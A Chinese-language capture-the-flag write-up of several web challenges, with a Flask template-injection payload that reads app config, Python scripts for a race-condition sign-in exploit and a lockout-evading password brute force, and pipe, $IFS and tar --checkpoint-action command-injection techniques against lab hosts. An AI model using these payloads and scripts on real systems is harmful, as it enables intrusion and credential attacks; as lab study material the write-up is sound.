写在开头:
这篇 wp 只记录了 build 里面我之前没接触过或是觉得有意思的题目,是因为搭博客从笔记上搬过来的,多多见谅
# RedFlag
太丑了,整理一下
过滤了两个括号,并且将 config 和 self 列入黑名单
写的时候想着,既不能构造函数,又不能使用 config 和 self,所以当时卡住了
现在知道,其实代码能过滤的,是上下文中的 config 和 self,如果能获得全局对象中的 config 和 self 就不需要担心过滤,继而可以利用这两个辅助 [] 来构造函数
其中有一个 get_flashed_messages
函数
Flask 中⽤于获取闪现消息(flashed messages)的函数
作为⼀个函数对象, get_flashed_messages
拥有 __globals__
属性,指向其全局命名空间
从而构造 payload:{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
其中 current_app
是 flask 的代理对象,用于引用当前 flask 应用实例,然后获取题目中设置的 FLAG 配置,从而拿到 flag
还有一种更加直接,直接调用 flask 中一个神奇的内置函数 url_for
,通过 url 的创建来访问配置:
# fake_signin
进靶机之后正如题目所说,是个登录问题,很简单,尝试一下弱口令就进去了,账密都是 admin
发现题目后续的要求是签到满 30 天才能获得 flag,算上刚登录的签到和一次补签机会,才只有两次
审计一下题目给出的附件代码,后面基本跟着 wp 来,自己写的时候没审明白,看 wp 才知道考点是存在一个并发漏洞
所谓并发漏洞就是多个线程并发访问共享资源,由于没有 锁机制
,会导致有多个线程会同时尝试修改公共资源中的某一个值,导致最后的修改结果出现意外,也称条件竞争
这里的漏洞点就是在更新 user['supplement_count']
时没有锁机制,就存在了并发漏洞,通过在相近时间内访问该代码,使得 user 被不停更新,从而达成绕过 (需要注意的是,补签的条件是签到天数小于 1 的时候,也就是说不能直接签到,不然补签天数是竞争不出来的)
脚本如下:
import requests | |
import threading | |
base_url = 'http://27.25.151.80:45503/' | |
USERNAME = 'admin' | |
PASSWORD = 'admin' | |
supplement_dates = [f'2024-09-{i:02d}' for i in range(1, 31)] | |
session = requests.Session() | |
login_data = { | |
'username': USERNAME, | |
'password': PASSWORD | |
} | |
session.post(base_url + '/login', data=login_data) | |
def supplement_signin(supplement_date): | |
data = {'supplement_date': supplement_date} | |
response = session.post(base_url + 'supplement_signin', data=data) | |
print(f"Date: {supplement_date}, Status Code: {response.status_code},Response: {response.text}") | |
threads = [] | |
for supplement_date in supplement_dates: | |
t = threading.Thread(target=supplement_signin, args=(supplement_date,)) | |
t.start() | |
threads.append(t) | |
for t in threads: | |
t.join() |
# tflock
经典登录框问题,先试试弱口令爆破
发现爆破出账号是 admin,就继续爆破密码,没有爆出来,找找看有没有什么提示。
在忘记密码处发现有个提示:
找密码本?那就目录扫描一下
去 robots.txt
看看
找到了密码列表,分别是 ctferpass.txt
和 password.txt
分别查看内容
给出了两个账号,分别是 ctfer 和 admin,经过测试,其中 admin 错误三次就会被锁定,但是期间如果是 ctfer 登录则会重置登录失败次数,所以可以利用给出的密码本去试错两次 admin 的密码,用 ctfer 去刷新,接着继续尝试
脚本如下:
import requests | |
import json | |
url = 'http://27.25.151.80:45507/login.php' | |
n = 0 | |
ctfer = { | |
'username': 'ctfer', | |
'password': '123456' | |
} | |
res = requests.post(url, data=ctfer) | |
for password in open('password.txt'): | |
admin = { | |
'username': 'admin', | |
'password': password.replace('\n', '') | |
} | |
res = requests.post(url, data=admin) | |
result = json.loads(res.text)['success'] | |
n += 1 | |
print(json.loads(res.text)) | |
if result: | |
import time | |
print(time.time()) | |
print(admin) | |
break | |
elif n == 2: | |
res = requests.post(url, data=ctfer) | |
n = 0 |
成功拿到密码,拿到 flag
# 我写的⽹站被 rce 了?
如题所示,一个半成品的后台系统,逐个查看功能,对照抓包结果发现,除了查看日志功能外,其他功能均无传参,所以从这点入手
修改之后给出报错,可以看出 log_type
修改的就是 .log
的文件名,也就是说文件名可控,尝试使用管道符绕过
将前后都用管道符隔开,虽然路径会报错,但是 ls 命令能被执行,可以看到回显,成功拿到注入点
不过也是过滤了很多关键词
接下来就是关于 linux 命令的 rce,fuzz 出来 cat、flag、空格这些都被过滤了,利用 $IFS
绕过空格
uniq 加通配符组合成功拿到 flag
# 打包给你
文件上传类型,不过似乎多了一个下载,附件也给出了源码来审计
功能很明确,上传文件之后能下载下来打包好的 tar 压缩包
通过审计代码可以发现,上传时会对文件名检查,过滤 ..
和 /
,并且文件内容长度不能大于 1000
需要注意的是,在下载 tar 压缩包这一步中,采用了通配符 *
的方式,并没有对敏感字符进行过滤,直接就将文件名塞进了 cd 这句命令里面,这样就导致了任意命令执行
具体实现步骤就是 && 前面的 cd 先执行,跳转到对应 uploads/{g.uuid}
目录,通过 tar 工具将当前目录下的所有文件打包成一个 out.tar 压缩包
造成漏洞的利用点就是通过 checkpoint
提权
tar 命令可以设置 checkpoint 检查点,用于写入 n 条记录之后方便检查,在这个检查点可以执行任意的操作,从而实现提权:操作由 --checkpoint-action
指定,再通过 exec 来执行外部命令
而构造命令执行过程中需要的特殊符号也可以通过 base64 等方式进行绕过
首先确保传入文件内容不为空,防止 tar 打包失败
设置检查点
写入命令 ls /> $(pwd)/test.txt
【解释一下, $(pwd)
是先执行 pwd 命令,将当前工作目录的路径输出】
需要注意的要下载两次,第一次执行 ls / 命令,结束之后才会写入 test.txt,之后再次下载文件就能访问到 test.txt 内的内容了
接下来去 cat /Guess_my_name
来获取 flag
成功拿到 flag
# Cookie_Factory
题目要求获得 1e20 个曲奇饼干才能获得 flag,并且给出 js 源码
其实说白了就是一个 js 小游戏,审计一下源码
主体是一个实现点击增分的功能,判断得到 flag 的代码如下:
除了会进行数量判断外,还会有分数校验,如果客户端传入的 json.value 与服务器记录的值不一样就会返回错误信息
oldvalue 是当前分数,newvalue 会更新为 session[socket.id]
内的值,并且发送给客户端,json.power 为点击权限,当其大于 10 时会返回错误信息
由于上述代码,导致在 js 控制台更新值的时候基本无法改变 json.value,但是可以改变 power 的值来影响 value 的生成,虽然也会有报错信息,但是直接利用控制台丢掉就行